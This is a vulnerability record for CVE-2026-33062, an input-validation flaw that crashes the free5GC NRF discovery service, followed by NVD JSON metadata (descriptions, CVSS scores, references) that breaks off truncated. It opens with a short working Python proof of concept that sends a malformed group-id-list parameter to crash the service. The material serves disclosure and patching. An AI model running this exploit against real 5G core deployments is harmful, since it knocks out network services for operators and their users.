CVE-2026-33062

import requests # PoC for CVE-2026-33062 # Target: free5GC NRF < 1.4.2 # Description: Triggers panic via malformed group-id-list def exploit(url): # Endpoint might vary, typically discovery service target = f"{url}/nnrf-disc/v1/nf-instances" # Malformed parameter with insufficient separators payload = { "group-id-list": "trigger-crash" } try: print(f"Sending payload to {target}...") r = requests.get(target, params=payload, timeout=5) print(f"Status Code: {r.status_code}") except requests.exceptions.RequestException as e: print(f"Service likely crashed or unreachable: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1:8000" # Replace with actual target exploit(target_ip)

{"cve": {"id": "CVE-2026-33062", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:16:01.097", "lastModified": "2026-03-27T17:13:12.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "free5GC is an open source 5G core network. free5GC NRF prior to version 1.4.2 has an Improper Input Validation vulnerability leading to Denial of Service. All deployments of free5GC using the NRF discovery service are affected. The `EncodeGroupId` function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with \"index out of range\". A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed `group-id-list` parameter. This results in complete denial of service for the NRF discovery service. free5GC NRF version 1.4.2 fixes the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only."}, {"lang": "es", "value": "free5GC es una red central 5G de código abierto. free5GC NRF anterior a la versión 1.4.2 tiene una vulnerabilidad de validación de entrada incorrecta que conduce a denegación de servicio. Todas las implementaciones de free5GC que utilizan el servicio de descubrimiento NRF están afectadas. La función 'EncodeGroupId' intenta acceder a los índices de la matriz [0], [1], [2] sin validar la longitud de los datos divididos. Cuando el parámetro contiene caracteres separadores insuficientes, el código entra en pánico con 'index out of range'. Un atacante remoto puede hacer que el servicio NRF entre en pánico y falle al enviar una solicitud HTTP GET manipulada con un parámetro 'group-id-list' malformado. Esto resulta en una denegación de servicio completa para el servicio de descubrimiento NRF. free5GC NRF versión 1.4.2 corrige el problema. No hay una solución alternativa directa a nivel de aplicación. La recomendación es aplicar el parche proporcionado o restringir el acceso a la API NRF solo a fuentes confiables."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "F7D53A8E-777B-4DD7-898E-7EE90ED6D37A"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc/issues/777", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-7c47-xr7q-p6hg", "source": "security-adviso ... (truncated)